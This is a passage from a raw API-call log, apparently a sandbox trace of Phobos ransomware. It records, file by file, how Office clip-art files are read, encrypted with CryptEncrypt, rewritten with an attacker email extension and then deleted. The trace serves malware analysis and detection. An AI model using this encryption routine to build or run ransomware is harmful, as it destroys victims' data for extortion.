Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.147] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.147] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.148] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0062.148] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.148] ReadFile (in: hFile=0x324, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x8d6, lpOverlapped=0x0) returned 1 [0062.205] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x8e0) returned 1 [0062.205] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x8e0, lpOverlapped=0x0) returned 1 [0062.207] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0062.207] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.207] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.207] CryptDestroyKey (hKey=0x10caf0) returned 1 [0062.207] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.207] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0062.207] CloseHandle (hObject=0x324) returned 1 [0062.207] CloseHandle (hObject=0x33c) returned 1 [0062.208] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0062.209] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.209] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=5270) returned 1 [0062.209] CloseHandle (hObject=0x33c) returned 1 [0062.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0062.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.210] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.210] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.210] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0062.210] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.210] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1496, lpOverlapped=0x0) returned 1 [0062.424] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x14a0) returned 1 [0062.424] WriteFile (in: hFile=0x324, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x14a0, lpOverlapped=0x0) returned 1 [0062.425] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ca30) returned 1 [0062.425] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.425] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.425] CryptDestroyKey (hKey=0x10ca30) returned 1 [0062.425] WriteFile (in: hFile=0x324, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.425] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0062.425] CloseHandle (hObject=0x33c) returned 1 [0062.425] CloseHandle (hObject=0x324) returned 1 [0062.426] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0062.427] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.428] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=31122) returned 1 [0062.428] CloseHandle (hObject=0x324) returned 1 [0062.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0062.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.428] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.428] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.428] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf70) returned 1 [0062.428] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.428] ReadFile (in: hFile=0x324, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x7992, lpOverlapped=0x0) returned 1 [0062.447] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x79a0, dwBufLen=0x79a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x79a0) returned 1 [0062.447] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x79a0, lpOverlapped=0x0) returned 1 [0062.448] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0062.448] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.448] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.448] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.448] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.448] CryptDestroyKey (hKey=0x10cf70) returned 1 [0062.448] CloseHandle (hObject=0x324) returned 1 [0062.448] CloseHandle (hObject=0x33c) returned 1 [0062.449] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0062.450] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.454] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8256) returned 1 [0062.454] CloseHandle (hObject=0x324) returned 1 [0062.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0062.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0062.455] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.455] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.455] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0062.455] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.455] ReadFile (in: hFile=0x324, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2040, lpOverlapped=0x0) returned 1 [0062.467] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2050, dwBufLen=0x2050 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2050) returned 1 [0062.467] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2050, lpOverlapped=0x0) returned 1 [0062.468] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0062.468] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.468] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.468] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0062.468] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.468] CryptDestroyKey (hKey=0x10caf0) returned 1 [0062.468] CloseHandle (hObject=0x324) returned 1 [0062.468] CloseHandle (hObject=0x338) returned 1 [0062.469] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0062.470] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.474] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=29628) returned 1 [0062.474] CloseHandle (hObject=0x318) returned 1 [0062.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0062.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.476] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.476] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.478] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0062.478] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.478] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x73bc, lpOverlapped=0x0) returned 1 [0062.493] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x73c0, dwBufLen=0x73c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x73c0) returned 1 [0062.493] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x73c0, lpOverlapped=0x0) returned 1 [0062.494] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0062.494] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.494] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0062.494] CryptDestroyKey (hKey=0x10caf0) returned 1 [0062.494] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0062.494] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0062.494] CloseHandle (hObject=0x318) returned 1 [0062.494] CloseHandle (hObject=0x308) returned 1 [0062.495] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0062.496] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0062.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.497] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2832) returned 1 [0062.497] CloseHandle (hObject=0x308) returned 1 [0062.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0062.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0062.497] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.497] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0062.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0062.497] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce70) returned 1 [0062.497] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.497] ReadFile (in: hFile=0x308, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xb10, lpOverlapped=0x0) returned 1 [0062.505] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xb20, dwBufLen=0xb20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xb20) returned 1 [0062.505] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xb20, lpOverlapped=0x0) returned 1 [0062.508] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0062.508] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0062.508] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, 